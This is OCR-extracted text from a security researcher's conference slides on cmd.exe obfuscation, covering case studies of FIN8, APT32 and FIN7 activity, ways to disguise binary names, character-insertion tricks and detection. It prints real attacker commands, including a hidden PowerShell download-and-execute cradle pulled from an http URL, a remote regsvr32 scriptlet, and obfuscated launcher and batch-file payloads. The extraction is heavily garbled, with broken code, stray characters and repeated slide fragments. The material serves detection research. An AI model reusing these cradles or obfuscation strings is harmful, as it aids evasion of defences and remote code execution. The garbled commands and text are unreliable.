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C:\>"""who""am"|

A Daniel Bohannon

A Title :: Senior Applied Security Researcher
A Team :: Advanced Practices Team @ Mandiant/FireEye
A Twitter :: @danielhbohannon

A Blog : http://danielbohannon.com

A Projects

A Invoke-Obfuscation & Invoke-CradleCrafter
A Revoke-Obfuscation (w/@Lee_Holmes)
A Invoke-DOSfuscation
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DISCLAIMER:

ACase studies and examples are drawn from our experiences and
activities working for a variety of customers, and do not represent our
work for any one customer or set of customers. In many cases, facts
have been changed to obscure the identity of our customers and
Individuals associated with our customers.
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State of Obfuscation [Red Team]

A Why Obfuscate?

A Evade static (and some dynamic) detections

A Increase work for defenders

A How Extensive?

A Some obfuscation framework exists for almost
any scripting language that attackers like to use

A Slowing down?

A Not any time soon (but | may be biased)
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State of Obfuscation [Blue Team]

/ \ E® Command Prompt - powershell - ] X
PS C:\> A

A AMSI: Antimalware Scan Interface

A ETW: Event Tracing (Windows)

A
A Revoke-Obfuscation (AST-based
PowerShell obfuscation detection
framework)
A
AAbsol utel vy, because attackers ar respondi n
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State of Obfuscation [Attacker Response]

A Choosing softer targets
A Disabling defensive visibility

A AMSI, ETW, Anti-forensics
A Using languages that do not provide good visibility

A JavaScript (quieter than PS, but still AMSI)

A AMSI visibility if run via Windows Script Host (VBS or
JScript)

A C# (msbuild.exe all the things)

http://www.syslog.com/~jwilson/pics-i-like/kurios119.jpg

A Custom binaries (b/c whitelisting still uncommon)
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State of Obfuscation [My Response]

A What is this talk?

A NOT PowerShell (well, not entirely)

)
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State of Obfuscation [My Response]

}X PS C:\> Invoke-Obfuscation...Invoke-CradleCrafter...
PS C:\> Start-Process cmd.exe
PS C:\>

A NOT PowerShell (well, not entirely)

ER C:\Windows\system32\icmd.exe

Microsoft Windows [Version 10.0.15063]

A Cmd.exe obfuscation (c) 2017 Microsoft Corporation. All rights reserved.

C:\>Invoke-DOSfuscation?

A Command line arguments

A Parent/child process relationships

A Source of action on registry, files, etc.

But why an entire framework for cmd.exe obfuscation?

©
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Obfuscation in the Wild

)
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Obfuscation in the Wild:
Targeted Attackers Lead the
Way in Evasion Techniques

A June 30, 2017

A CO-aUthored blog pOSt Wlth NICk Carr gtisch:agl\?:: Follows you
(@itsreallynick)

June 30, 2017 | by Daniel Bohannon, Nick Carr | Threat Research
A Outlines three different obfuscation techniques that

: e Throughout 2017 we have observed a marked increase in the use
MANDIANT consultants identified three threat M . .
. of command line evasion and obfuscation by a range of targeted
actors usi ng attackers. Cyber espionage groups and financial threat actors
continue to adopt the latest cutting-edge application whitelisting
A Feb 2017 . FI N8 bypass techniques and introduce innovative obfuscation into their
phishing lures. These technigues often bypass static and dynamic
A Apr 2017 :: APT32 (Ocean Lotus, Vietn am) analysis methods and highlight why signature-based detection

alone will always be at least one step behind creative attackers.

A Jun 2017 :: FIN7 (Carbanak)

©
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Case Study #1: FINS

A February 2017

A Process-level environment variables + PowerShell Stdin (launched from macro)

cmd /c echo %_MICROSOFT_UPDATE_CATALOG% | %_MICROSOFT_UPDATE_SERVICE%

&4 Windows PowerShell F=REEl X

PS C:\Users\ 1ce-crackros-master> python .\oledump.py -p p Y ; T 7 dc48843dc1180TbOpA
4be573014e944c09 =
A: word/ \baPrOJect bin
Al: 433 'PROJECT'
A2: 41 'PROJECTwm'
A3: M 9209 'vBA/ThisDocu nt'
Plugin: Sketc cipher detected: OfficeCrackros plugin by Nick Carr
MsgBox Word as unable to read this document. It may be corrupt.
'Set Auusvj 1 | = thhxmjvhm1k3(u1nmgmts \\ root\\cimv2:win32 ProcessStartup)
'Set Jxrdrd iVhmiki(winmamts :\\.\\root\ my2:wWin32 Process)’
Oiiuzhf =|cmd / 1_MICROSOFT_UPDATE_CATALOGm | % _MICROSOFT_UPDATE_SERVICEX
Set LufluibdLufuqdm = ZmhhxmjVhmikj(New:WScript.Shell).Environment (New:WScript.Shell)
Set LufluibdLufuqdm = Zmhhxmjvhmikj(New:WScript.Shel1PROCESS) .Environment (New:wWScript.ShelTPROCESS)
If Len(LufluibdLufuqdm(Programw6432))

oqcyji CT=
oqcyji & vbCrLf & _PA=237559 powershe” -
0oqcyji & vbCrLf & _KE=487553

0qcyJi
CT=

oqcyJi
oqcy3i
oqcy3i oqcyji &
0qcyii 0gcyji & vbCrLf &
0qcyIl 0qcyjl & vbCrLf & _MICROSOFT_UPDATE_SERVICE=powershell -
0qcyj1 = 0qcy)i & vbCrLf & _MICROSOFT_UPDATE_CATALOG=
Yczqeptq = $s=SEnv:_CT;%0="";81=8s.length;$i=SEnv:_PA%S1;while($0.1length -ne$1){So+=8s[$i];8i=(8i1+SEnv:_KE)%S$1}iex(S0)"
3639 '\rA/ \RA PROIFCT'
738 'vBA/dir'
: word/activex/ act1vexg.b1n
Bl: 112 '\ x01ComnObi'

#H $s=$Env:_CT;$0=":$I=$s.length;$i=$Env:_PA%S$|;while($o.length -ne$l){$So+=$s[$i];$i=($i+$Env: KE)%$l}iex($0)

vbCrLf & _PA=161676
KE=289669

)
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Case Study #2: APT32 (OceanlLotus)

A April 2017

A Caret and un-paired double quotes in regsvr32.exe arguments
A li:"hMAMp (does not show up in regsvr32.exe arguments)

A li"hrt't"p (DOES show up in regsvr32.exe arguments T must be even number of quotes)

2017-04-19 10:31:00 regsvr32.exe /s /n/u /l:"h“t"t"p:/mjpg scrobj.dll

2017-04-19 10:31:01 :rShell\v1.0\powershell.exe | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
-eXECUt BYPASS -COm "IEX ((new-object net.webclient).downloadstring('http://...

Host Investigative Platform (HIP) capturing real-time attacker activity during a MANDIANT incident response engagement for APT32 activity

©
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Case Study #3: FIN7 (Carbanak)

A DOCX/RTF + LNK w/Word COM to retrieve remaining payload from original document
A Process-level environment variables + cmd.exe StdIn
A JavaScript encoding & concatenation:

A "Wor"+"d.Application” and [String.fromCharCode(101)+'va'+'l'

] Dat ]
ive path (UNICODE): ««\..\..\Windows\System32\cmd. exe
Arguments (UNICODE): /C [ Xx=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'] (w.ActiveDocument.Shape

s(1).TextFrame.TextRange.Text);} h(e){}; >%HOMEPATHS%\md5.txt &}echo %x:@=%|cmd
) .
<O FireEye

1 location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico



Case Study #3: FIN7 (Carbanak)

]
» path (UNICODE): «+\::\..\Windows\System32\cmd. exe
(UNICODE): /C x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo

("","Wor"+"d.Application"); [String.fromCharCode(101)+'va'+"'1"'] (w.

: Ran )i} (e){}; >%HOMEPATHS%\md5.txt &}echo %Xx:@=%|cmd
location (UNICODE): c:\Users\andy\Desktop\2013-Word.ico

©
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Case Study #3: FIN7 (Carbanak)

[String Datal
Relative path (UNICODE): ««\..\..\Windows\System32\cmd. exe
nts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo try{

w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'] (w.ActiveDocument.Shape

. TextFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
con location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico

)
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Case Study #3: FIN7 (Carbanak)

A X X
Process-level env var Process-level env var

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'](w
(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &jecho %x.@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico

)
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Case Study #3: FIN7 (Carbanak)

Garbage delimiter

[String Datal

Relative path (UNICODE): ««\..\..\Windows\System32\cmd. exe
: nts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo try{

w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'] (w.Act

tiveDocument.Shape
s(1).TextFrame.TextRang

Icon location (UNICODE)

je.Text); }catch(e){}; >%HOMEPATH%\md5.txt &lecho %x:@=%|cmd
: c:\Users\andy\Desktop\2013-Word. ico

)
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Case Study #3: FIN7 (Carbanak)

A X @ X

|

Garbage delimiter

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'](w
(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &jecho %x.@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico

)
<OF; reEye



Case Study #3: FIN7 (Carbanak)

1 1

Garbage delimiter
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Case Study #3: FIN7 (Carbanak)

1 1

Garbage delimiter Delimiter removal

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'](w
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Case Study #3: FIN7 (Carbanak)

A X @ @ X
Garbage delimiter Delimiter removal

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'](w
(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &jecho %x.@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico

)
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Case Study #3: FIN7 (Carbanak)

A X @ @ X:@=
Garbage delimiter Delimiter removal

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'](w
(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &jecho %x.@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico

)
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Case Study #3: FIN7 (Carbanak)

A cmd.exe /c set x=wsc@ript /e;fjs@c r i pt éx: @=<cmd %
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Case Study #3: FIN7 (Carbanak)

A Wed :: June 28, 2017 i Nick Carr (@itsreallynick)
finds FIN7 testing payload

A Thu :: June 29, 2017 i We write blog post
A Fri :: June 30,2017 i We publish blog post

A Sat/Sun :: July 1-2, 2017 i | write and release POC:
Qut-FINcodedCommand

26 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED.

e ' Daniel Bohannon o
) @danielhbohannon

All this cmd.exe obfuscation led me to write
a small tool called Out-FINcodedCommand

for testing your detections :: github.com
/danielbohannon ...

1:34 PM - 2 Jul 2017
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https://github.com/danielbohannon/Out-FINcodedCommand

Case Study #3: FIN7 (Carbanak)

e ' Daniel Bohannon o
) @danielhbohannon
All this cmd.exe obfuscation led me to write

A Wed :: June 28,2017 i Nick Carr (@itsreallynick) a small tool called Out-FINcodedCommand
finds FIN7 testing payload for testing your detections :: github.com

/danielbohannon ...

A Thu :: June 29, 2017 i We write blog post

A Fri :: June 30,2017 i We publish blog post

A Sat/Sun :: July 1-2, 2017 i | write and release POC:
Qut-FINcodedCommand

"Is there more here?"

1:34 PM - 2 Jul 2017

©
27 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / O FI reEye


https://github.com/danielbohannon/Out-FINcodedCommand

Implications of This Research

A These obfuscation techniques affect:

A Dynamic detections
A Arguments, parent/child relationship, env var, stdin
A Static detections

A All of the above + so much more

A CFP submissions J

bre Daniel Bohannon @danielhbohannon - now v
) TFW you burn 1 hour on CFP submissions getting batted down by @Cloudflare
when any field containing "cmd.exe" is blocked -- "cmd|[.]Jexe" FTW.

@) n Q 1l
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Implications of This Research

cmd.exe /c "echo Invoke-DOSfuscation"

)
5) . .
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Implications of This Research

cmd.exe /c "set O=fuscation&set B=oke-
DOS&&set D=echo Inv&&call %0D%%B%%0%"

)
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Implications of This Research

cm%windir:~ -4, -3%.eXe; N/ MC" S EL A
roN=fuscatMlon&,;, AserT M N ABA=0ke-DMNOS&&,: SM"EN
A dM=ec”™ho I™"vE&&,:,CMAIN,: A% D% "% B %% 0" %"

)
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Implications of This Research

FOR /F "delims=il tokens=+4" %Z IN (‘assoc .cdxml') DO %Z
SNINC L SMEE N NoM=fustcatMion&,, AseNT N N ABA=oke-
DMOS&&,:, s "EtM N d*=ec™ho

I’"VEE&,:,CMAIN,: A% "D %% B %% 0%"

)
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Implications of This Research

"FAMOR
tokens=

A

+4

MMM

N\

%z , ; N JNC

N ABAr=0"ke-DMOS&&
CMAN

"

oo " delims=ll
b} b} %Z ; b} b} b} b} Aln ] ] ) b} b} b}
b} ; MaAASAASAAOC b} ] ) ) b} b}
) b} b} b} b} 7 b} Ad/\o b1 b} b} 7 b} b} b}

. SM"Et N Mo=fus”catMion&

S "Eh

N % D%"%B %% 0%"

o, NseMT
A dM=ec™o I'nv&E |
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Implications of This Research T HANG ON TIGHT

)
‘b . .
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Implications of This Research T HANG ON TIGHT AS WE STACK

)
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OUTLINE

State of the- Unten Obfuscation
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Invoke-DOSfuscation Demo

Detecting DOSfuscation

)
:)) . .
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Whose Binary is it Anyway: Obfuscating Binary Names

@vector_sec

A Rename/copy cmd.exe @ = .

A Cmd.exe substitutes (klnd Of) Defendersf watching launches of cmd? What
about forfiles? <

A forfiles.exe (@VGC'[OI’_SGC) forfiles /p c:\windows\system32 /m
notepad.exe /c calc.exe

1:41 PM - 11 Aug 2017

A pcalua.exe

A scriptrunner.exe (@KyleHanslovan -- Win10+)

©
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Whose Binary is it Anyway: Obfuscating Binary Names

E_ apiOcradle / BinariesThatDoesOtherStuff.txt secret
Last active 2 days ago « Report gist

@vector_sec <> Code Revisions 23 Stars 22 Forks 8

A Cmdexe Su bStltUteS (klnd Of) Defendersf Watct\.ing launches of BinariesThatDoesOtherStuff
about forfiles? '~

A Rename/copy cmd.exe @ =

I [©] BinariesThatDoesOtherStuff.txt
A forfiles.exe (@VGC'[OI’_SGC) forfiles /p c:\windows\system32 . h e

forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

notepad.exe /c calc.exe
A pcalua-exe 1:41 PM - 11 Aug 2017 bash.exe -c calc.exe

A scriptrunner.exe (@KyleHanslovan -- Win10+)

A https://gist.github.com/apiOcradle/8cdc53e2a80de079709d28a2d96458¢?2

A Syntactical obfuscation of legitimate binary name?

©
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https://gist.github.com/api0cradle/8cdc53e2a80de079709d28a2d96458c2

Whose Binary is it Anyway: Obfuscating Binary Names

A Env var encoding C:\> echo %ProgramData%
C:\ProgramData

A NOthmg new C:\> echo %ProgramData:~0,1%%ProgramData:~9,2%

CmbD

A Resolves on command line

C:\> %ProgramData:~0,1%%ProgramData:~9,2%
CmD

C:\> %ProgramData:~3,1%%ProgramData: ~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1%
Powershell

)
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Whose Binary is it Anyway: Obfuscating Binary Names

A Something that does NOT resolve on the command line (i.e. internal commands)

c:\ >

ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\me\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files

A SET m————
.386=vxdfile

}X /\ESESC)(: .5vw=wireshark-capture-file

.accda=Access.ACCDAExtension. 16

A FTYPE .accdb=Access.Application.16

.accdc=Access.ACCDCFile.16

C:\> RS

Access.ACCDAExtension.16=C:\Program Files\Microsoft Office\Root\Officel6\MSACCESS.EXE /NOSTARTUP "%1"

Access.ACCDCFile.16="C:\Program Files\Microsoft Office\Root\Officel6\MSACCESS.EXE" /NOSTARTUP "%1"
Access.ACCDEFile.16="C:\Program Files\Microsoft Office\Root\Officel6\MSACCESS.EXE" /NOSTARTUP "%1" %2

)
/ <© FireEye




Whose Binary is it Anyway: Obfuscating Binary Names

A Using SET to produce the string PowerShell

@AW set | findstr PowerShell
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\Syste
m32\WindowsPowerShell\v1.0\;C:\Users\me\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\W

indowsPowerShell\v1l.0\Modules

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

# Randomly select from find/findstr query values that return specific output containing "PowerShell”.

$findValPSModule = Get-Random -InputObject @('PSM', ‘SMo', 'SMod’, 'Modu', ‘odu’, 'du’, 'dul’, 'ule’,'leP', 'ePa’, 'ePat")

)
/ <© FireEye




Whose Binary is it Anyway: Obfuscating Binary Names

A Using SET to produce the string PowerShell

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

Required (case-sensitive) delimiters are: s and \

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

©
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Whose Binary is it Anyway: Obfuscating Binary Names

A Using SET to produce the string PowerShell

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

Required (case-sensitive) delimiters are: s and \

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

1 2 3 4 S 6 7 8 9 10 11 12 13

©
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Whose Binary is it Anyway: Obfuscating Binary Names

A Using SET to produce the string PowerShell

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

Required (case-sensitive) delimiters are: s and \

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

1 2 3 4 S 6 7 8 9 10 11 12 13

cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN (‘set?|findstr PSM')DO %a"

Bl Select Command Prompt - emd.exe /c "FOR /F "delims=s\ tokens=4" %a IN ('set* [findstr PSM')DO %"
C:\>cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN ('set”|findstr PSM')DO %a"

@ AWIPowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\>

= )
/ <© FireEye
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State of the Union Obfuscation
Obfuscation in the Wild: 3 Case Studies
Whose Binary is it Anyway: Obfuscating Binary Names

Deep Dive: Character Insertion Obfuscation

Deep(er) Dive: Advanced Payload Obfuscation
Invoke-DOSfuscation Demo

Detecting DOSfuscation

)
:)) . .
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Deep Dive: Character Insertion Obfuscation

A Typically more useful for evading static analysis detections rather than
dynamic detections

"C:\WINDOWS\system32\cmd.exe" /c
PAOAWAA A SANA NN N AerxM e -NOoEXIt -Exec Bypass -EC
ACaretescapecharacter(/\) | AAOAE4AZQB3ACOATwWBI AGOoAZQBj|AHQAI Al

A Double quotes, evenly balanced (") | regsvr32.exe /s /n u fi:*h*t"t" p://<REDACTED>.jpg scrobj.dl

A Encapsulating parentheses - ——) @ o oo

@danielhbohannon

A Leading & trailing special characters |,cmd;/ccalc TIL cmd.exe is suuuuper friendly with
parentheses -- inspired by NEWSCASTER:

A Standard input argument hiding cmd /c echo calclemd

cmd /c (((cale)))&( ( ((notepad)) ) ))

11:24 AM - 29 Aug 2017

)
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Deep Dive: Character Insertion Obfuscation

A Typically more useful for evading static analysis detections rather than
dynamic detections

A Nonexistent env vars (batch files) | echo "Find Evill" A ec%a%ho "Fi%b%nd Evdc%il!"
A

A Custom env vars L A\WINDOWS\system32\cmd.exe /V /K set p=p&&!plowershell
-w hidden -¢ "IEX ((('Q0zF="+'Q0z'+'env:T'+'emp+'+'zZARYUEyjV' €

A Existing env vars

C:\> echo %ProgrambData%
C:\ProgramData

C:\> echo

%ProgramData:~0,1%%ProgramData:~9,2%
CmD

)
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Deep Dive: Character Insertion Obfuscation

A Out-FINcodedCommand POC

A A few binary syntax options with
environment variable character substitution

48 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED.

£=X» Daniel Bohannon o
) @danielhbohannon

On a similar note, "cmd" can be crafted from

env vars substrings like:

%ProgramData:~0,1% %ProgramData:~9,2%
/c echo OBFUSCATION_FTW

12:24 PM - 2 Jul 2017

£=Y» Daniel Bohannon o
) @danielhbohannon
Replying to @danielhbohannon @Ledtech3

This should be a more resilient option:

%ProgramData:~3,1% %ProgramData:~5,1
%we%ProgramData:~7,1%she%Public:~12,

1:16 PM - 2 Jul 2017

1% %Public:~12,1%
A
@FlreEye‘




Deep Dive: Character Insertion Obfuscation

Jonathan Bar Or 3
) \ Follow | ¥
J @yo_yo_yo_jbo .

A @danielhbohannon I'm going crazy.
Unfortunately this is too short for Twitter :(

B CmD

A A few binary syntax options with
environment variable character substitution

1:49 PM - 3 Jul 2017

BN CmD = O X

C:\>%allusersprofile:~4,1%%temp:~-3,1%%prompt:~-1,1%%programfiles:~10,1%%allusersprofile:~8,1%%allusersprofile:~-4,-3%%allusersprofile:~-4,-3%%programfiles:~10,1%"hk%windi
r:~0,1%%appdata:~3,1%%temp:~2,1%%windir:~-1,1%%windir:~-3,1%%programfiles:~-5,1%%temp:~-4,1%%systemroot :~3,1%%allusersprofile:~8,1%%allusersprofile:~4,1%%temp:~-3,1%%temp:
~2,1%%commonprogramfiles:~-10,1%%appdata:~-3,1%%windir:~0,1%%allusersprofile:~4,1%%windir:~-3,1%%windir:~-1,1%%windir:~-3,1%%programfiles:~-5,1%%temp:~-4,1%%temp:~2,1%%win|
dir:~0,1%%windir:~-3,1%%programfiles:~9,1%%programfiles:~9,1%%allusersprofile:~8,1%%commonprogramfiles:~-7,1%%allusersprofile:~-4,-3%%programfiles:~10,1%%programfiles:~3,1
wwallusersprofile:~4,1%%windir:~-3,1%%windir:~0,1%%temp:~-3,1%%windir:~-1,1%%windir:~-1,1%%windir:~-3,1%%allusersprofile:~4,1%"%programfiles:~10,1%/v%programfiles:~10,1%%a
1lusersprofile:~8,1%%appdata:~3,1%%temp:~-4,1%%windir:~-3,1%%allusersprofile:~4,1%%appdata:~3,1%%commonprogramfiles:~-7,1%%programfiles:~10,1%/%allusersprofile:~-4,-3%%pro
gramfiles:~10,1%"%temp:~-3,1%%windir:~0,1%h%windir:~-3,1%%programfiles:~10,1%%programfiles:~3,1%%windir:~3,1%%commonprogramfiles:~-7,1%%allusersprofile:~-4,-3%"%programfil

es:~10,1%/%programfiles:~-5,1%%programfiles:~10,1%&&%programfiles:~10,1%%systemdrive:~0,1%%appdata:~-4,-3%%allusersprofile:~-4,-3%
The operation completed successfully.
icrosoft Windows [Version 10.0.16200.1000]
(c) 2017 Microsoft Corporation. All rights reserved.
PWND

LEEAES

©
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Deep Dive: Character Insertion Obfuscation (ITW 1/3)

File Ratio First sub. Last sub. Times sub. Sources Size
A E nv var enco d | N g | N th e W| I d 661877d416134411fad7e22246600d61d14de3065a34b0a7b2128052d56db6e2  25/60  2012-06-15 2017-11-19 4 4 286.2 KB
b297db3bf24b99236¢cal 34¢76ba92bd 18:28:57 01:12:01

A SHA-256: 661877d416f34411fad7e22246ee0d61d14de3065a34b0a7b2f28052d56db6e?2

fiba~m

goto RealHead™M

[Devourer_3.0_12722772318242] [DSC@2702.JPG] [EJPack] ™M

“M

:RealHead"™M

cls™M

@echo off™M

“M

:AvoideVNBug™M

if "%APPDATA%"=="" if not exist %systemroot%\system32\drivers\values.log goto Kill"M

if "%APPDATA%"=="" FOR /F "tokens=x" %%i in (%systemroot%\system32\drivers\values.log) do set %%i"M

“M

scomspec:~-16, 1%%scomspec:~-1%%comspec:~-13,1% %comspec:~-13,1%%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%userprofile:~6, 1%=%%bh%%]j kq%%svz%%T7%%4Cc501%%Ulw8%% (cdf9)%%@6t c%% M
scomspec:~-16, 1%%scomspec:~-1%%comspec:~-13, 1%%appdata:~-13, 1%%appdata:~-7, 1%%userprofile:~5, 1%%appdata:~-1%%appdata:~-13,1% ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION~M
scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% D%scomspec:~-1%%tcopu:~8, 1%%appdata:~-7,1%%userprofile:~6, 1%%programfiles:~4, 1%%comspec:~-1%%programfiles:~4, 1%=%systemroot%\F%sappdat
a:~-7,1%%userprofile:~14, 1%%comspec:~-13, 1%%comspec:~-16, 1%\HIDESE~%tcopu:~21, 1%"M

scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-1%%scomspec:~-13, 1%%userprofile:~6, 1%%appdata:~-15, 1%=%systemroot%\F%appdata:~-7,1%%userprofile:~14, 1%%com
spec:~-13, 1%%comspec:~-16, 1%5\HIDESE~%tcopu:~21, 1%\D%scomspec:~-1%%tcopu:~8, 1%%appdata:~-7, 1%%userprofile:~6, 1%%programfiles:~4, 1%%comspec:~-1%%programfiles:~4, 1%%comspec:~-16, 1%%C
omspec:~-1%%comspec:~-13,1%%userprofile:~6, 1%%appdata:~-15, 1%"M

scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% %programfiles:~4,1%%appdata:~-1%%sprogramfiles:~4, 1%=%Devourers\Wsprogramfiles:~-4,1%%userprofile:~14, 1%RAR™M

scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16, 1%%comspec:~-1%%appdata:~-13,1%%tcopu:~11,1%%userprofile:~5, 1%%appdata:~-7,1%%appdata:~15, 1%%comspec:~-1%=%random%%ran

dom%~M

“M

if "%1"=="-Install" goto Install™M
if "sl' -Run" goto Run”M

if "sl' -Tenbatsu" goto Tenbatsu”™M

if "%l1' -Kill" goto Kill™M
if "sl' -Open" goto Open™M

if /i "%1"=="_goto" goto %2°M %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%

decodes to set >
50 COPYRIGHT © 2018, FIREEYE, INC. ALL RIGHTS RESERVED. / C‘b FI reEye




Deep Dive: Character Insertion Obfuscation (ITW 2/3)

A Env var encoding in the wild

51

A Obfuscator: https://github.com/guillaC/JSBatchobfuscator

File Ratio First sub. Last sub. Times sub.  Sources Size
9e1df42f00829d16afd97c575108dad5467bbecab92cabe3d2832a009dddaa8ar 0/59 2017-10-12 2017-10-12 1 1 34.3 KB
ab93ee994cf51878eeb6ac6286dadfed 15:52:30 15:52:30
A SHA-256: 9e1df42f00829d16afd97c575f08dad45467bbcab92ca5e3d2832a009dddaa8a7
@echo off
Set aayhuBuBpBdvBftj4i=0123456789abcdefghijklnnopgrstuvwxyzABCDEFGHTIKLMNOPQRSTUVWXYZ
é;:hu off

Set full alphabet in custom env var

@echo off

Set aayhuBSu8p8dveftj4i=0123456789%abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMMOPQRSTUVIWXYZ

cls

@%aayhuBuBp8dveTtjdi:~14, 1%%aayhuBuBp8dveftjdi:~12, 1%%aayhuBuBp8dveftjdi:~17, 1%%aayhuBuBpBdveftjdi:~24, 1% %aayhul
%saayhuBuBp8dveftjd4i:~29, 1%%aayhuBuBp8dveftjd4i:~1@, 1%%aayhuBuBpBdveftjd4i:~28, 1%%aayhuBuBpBdvertjdi:~20, 1%%aayhuBul
~21,1% /%aayhuBu8p8dveftjdi:~41,1% /%saayhuBuBp8dveftjdi:~44,1%%aayhu8u8p8dveftjdi:~48,1% %aayhuBuBp8dveftjdi:~44,
p8dvettjdi:~23, 1%.%aayhuBu8p8dvertjdi:~14, 1%%aayhuBuBp8dveftjd4i:~33, 1%%aayhuBuBp8dveftjdi:~14,1%
¥aayhuBu8p8dveftjdi:~29, 1%%aayhuBuBpidveftjdi:~10, 1%%aayhuBuBp8dveftjdi:~28, 1%%aayhuBuBp8dverftjdi:~20, 1%%aayhu8usd
~21,1% /%aayhu8u8p8dveftjdi:~41,1% /%aayhuBuBpBdveftjdi:~44,1%%aayhuB8uBp8dveftjdi:~48,1% %aayhuBuBpBdvaftjdi:~44,
p8dveftjdir~27, 1%%aayhuBu8p8dveftjdii~a3, 1%%aayhuBu8p8dveftjdi~21, 1%%aayhuBuBp8dveftj4i:~25, 1%.%aayhuSuSpSdyRrt;4
@%aayhuBuBp8dveftj4i:~14, 1%%aayhuBuBp8dvertjd4i:~12, 1%%aayhudu8p8dveftj4i:~17, 1%%aayhuBuBpS
i:~6@,1% %aayhuBuBp8dveTtjd4i:~38, 1%%aayhuBuBpBdveTtj4i:~56, 1%¥%saayhuBuBp8dveTtjd4i:~53, 1%%aa DECO D ED %
8dveftjdi:~56,1%%aayhuBu8p8dveftjdi:~54, 1%%aayhu8u8p8dveftjdi:~48, 1%%aayhuBu8p8dveftjdi:~53, 1%\%aayhuBuBpBdveltid
yhuBuBp8dveftjd4i:~32, 1%%aayhuBuBp8dveftjd4i:~10, 1%%aayhuBuBp8dveTtj4i:~27, 1%%aayhuBuBpBdveftjdi:~14, 1%\%saayhuBuBpBq
8, 1%%aayhuBuBpBdveftjd4i:~28, 1%%aayhuBuBpBdveftjdi:~14, 1%%aayhuBuBpBdveftjd4i:~28, 1%\%aayhuBu8p8dveTtj4i:~58, 1%%aay
ja4ici~4,1%%aayhuBuBp8dveftjdi:~3, 1%%aayhuBuBp8dveftjdi:~2, 1%%aayhuBuBp8dverftj4i:~49, 1%%saayhuBuBp8dveTtjdi:~24, 1%%as
